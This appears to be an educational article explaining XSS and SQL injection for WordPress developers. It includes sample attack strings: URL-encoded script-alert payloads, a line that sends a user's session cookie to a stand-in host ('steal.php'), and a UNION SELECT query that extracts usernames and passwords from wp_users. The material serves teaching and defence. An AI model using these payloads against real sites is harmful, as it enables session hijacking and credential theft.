Injection vulnerabilities are attacks against web applications in which untrusted code or queries controlled by a malicious actor are executed in such a way that data associated with the application or its users is exposed, modified, or destroyed. 

Two types of injection attacks are particularly pertinent for web applications, including WordPress. These are XSS (Cross-Site Scripting) and SQL Injection.

Types of injection vulnerabilities 

What is cross-site scripting?

Cross-site scripting (XSS) is a web security vulnerability that allows attackers to inject and execute malicious scripts in the context of a user’s web browser. This typically occurs when an application doesn’t properly validate or sanitize user-provided input and outputs it in web pages as executable code. 

As a result, when a user visits a page containing an XSS vulnerability, the injected script runs within the user’s browser, potentially stealing sensitive data, manipulating web content, or launching further attacks. XSS comes in several forms, including stored, reflected, and DOM-based XSS, each with its unique characteristics, but they all pose a significant risk to the security and privacy of WordPress users.

We’ll examine three types of XSS attacks: Stored, Reflected, and DOM-based.

A Stored XSS attack, also known as Persistent XSS, is a specific type of XSS vulnerability where an attacker injects malicious scripts or payloads into a web application, which are then permanently stored by the application as data. These injected scripts are subsequently retrieved and executed by other users when they access the compromised web page.

A Reflected XSS attack is a XSS vulnerability where an attacker injects malicious scripts or payloads into a web application, and these scripts are immediately reflected or echoed back to the user within the application’s response. This type of XSS is “reflected” because the injected code is not stored on the server but is instead included in the web page’s response dynamically, often through URL parameters or form inputs.

A DOM-based XSS attack is a XSS vulnerability that occurs on the client side, where malicious scripts manipulate the Document Object Model (DOM) of a web page within the user’s browser. Unlike other forms of XSS that involve server-side vulnerabilities, DOM-based XSS is rooted in how the client-side JavaScript code processes user input and modifies the DOM of the page.

XSS examples

As an advanced developer, it is important to understand the actual mechanisms of these attacks through examples.

Stored XSS attacks

http://example.com/feedback?comment=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

In this example, we see a URL-encoded query string, which hides the malicious nature of the JavaScript. The “payload” is the string:

%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

Which, when decoded, is:

<script>alert('XSS')</script>

Were this string to be decoded, stored as-is in the database (in this case perhaps as a comment) and then later displayed on a page, an unexpected result would occur in the browser, in the form of this executed code.

Reflected XSS attacks

http://example.com/?s=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

In this similar example, we see a URL familiar to all WordPress developers—the default search request. Here, as before, a payload which decodes to executable JavaScript is present—in fact it’s the same JavaScript as in the previous example:

<script>alert('XSS')</script>

The only difference here is that the JavaScript is never stored, but rather immediately output to the browser, which then executes it.

Not all XSS attacks are quite so benign. Attackers may attempt to redirect users to malicious scripts hosted elsewhere and may expose sensitive information in the process.  For example, the following script, if encoded in a URL and executed by the browser, would redirect the user to an external site and leak the user’s session cookie, enabling session hijacking:

document.location='http://example.com/steal.php?cookie='+document.cookie;

What is SQL injection?

SQL injection occurs when an attacker is able to manipulate a web application’s database by injecting malicious SQL queries. This can happen when user input is not properly validated or sanitized before being used in database queries. 

For example, if a site allows users to search for products by entering a keyword, an attacker could inject a malicious SQL query that retrieves all the products in the database or even deletes the entire database.

SQL injection can result in unauthorized access to data. By injecting malicious SQL queries, an attacker can bypass authentication mechanisms and retrieve or display data that they should not have access to. 

For example, an attacker could inject a query that retrieves all user records, including their passwords. Another potential outcome is the manipulation or deletion of data. By injecting malicious SQL queries, an attacker can modify or delete data in the database. This can have serious consequences, such as altering posts and other content, site defacement, deleting user accounts, or compromising the integrity of the application.

SQL Injection examples

http://example.com/?id=1%20UNION%20ALL%20SELECT%20NULL%2Cusername%2Cpassword%20FROM%20wp_users–

This URL contains an obviously suspicious but entirely legal and encoded query string. When decoded, the query string becomes:

1 UNION ALL SELECT NULL,username,password FROM wp_users--

Should this string or SQL be appended to a query as-is and sent to the database for execution, it would select and perhaps display sensitive data to the attacker.

Next up: How to Protect Against XSS Injection Attacks